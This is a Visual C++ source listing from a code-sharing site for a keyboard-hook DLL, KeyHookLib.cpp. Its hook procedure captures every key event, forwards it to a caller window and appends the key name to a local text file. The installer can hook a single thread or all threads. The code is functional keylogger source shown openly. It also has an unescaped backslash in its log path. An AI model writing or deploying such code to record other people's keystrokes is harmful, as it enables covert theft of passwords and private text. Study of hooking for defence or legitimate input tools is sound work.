KeyHookLib.cpp
上传用户:hongsj123
上传日期:2022-06-18
资源大小:3192k
文件大小:1k
源码类别:

钩子与API截获

开发平台:

Visual C++

  1. #include <stdio.h>
  2. #include <afx.h>
  3. #include <windows.h>
  4. #define KEYHOOKLIB_EXPORTS
  5. #include "KeyHookLib.h"
  6. #pragma data_seg("YCIShare")
  7. HWND g_hWndCaller = NULL;
  8. HHOOK g_hHook = NULL;
  9. #pragma data_seg()
  10. HMODULE WINAPI ModuleFromAddress(PVOID pv)
  11. {
  12. MEMORY_BASIC_INFORMATION mbi;
  13. if (::VirtualQuery(pv,&mbi,sizeof(mbi)) != 0)
  14. {
  15. return (HMODULE)mbi.AllocationBase;
  16. }
  17. else
  18. {
  19. return NULL;
  20. }
  21. }
  22. LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)
  23. {
  24. if (nCode<0||nCode==HC_NOREMOVE)
  25. {
  26. return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
  27. }
  28. if (lParam & 0x40000000)
  29. {
  30. return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
  31. }
  32. ::PostMessage(g_hWndCaller,HM_KEY,wParam,lParam);
  33. char str[20];
  34. FILE *KeyFile;
  35. ::GetKeyNameText(lParam,str,20);
  36. //_itoa( lParam, str, 10 );
  37. if (KeyFile = fopen("D:\Key.txt","a"))
  38. {
  39. fputs(str,KeyFile);
  40. fputs(" ",KeyFile);
  41. fclose(KeyFile);
  42. }
  43. //printf("%d",HM_KEY);
  44. //str.Format("%d",HM_KEY);
  45. //MessageBox(NULL,str,"你好",MB_OK);
  46. return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
  47. }
  48. BOOL WINAPI SetKeyHooK(BOOL bInstall,DWORD dwThreadId ,HWND hWndCaller)
  49. {
  50. BOOL bOk;
  51. g_hWndCaller = hWndCaller;
  52. if (bInstall)
  53. {
  54. g_hHook = ::SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,ModuleFromAddress(KeyHookProc),dwThreadId);
  55. bOk = (g_hHook != NULL);
  56. }
  57. else
  58. {
  59. bOk = ::UnhookWindowsHookEx(g_hHook);
  60. g_hHook = NULL;
  61. }
  62. return bOk;
  63. }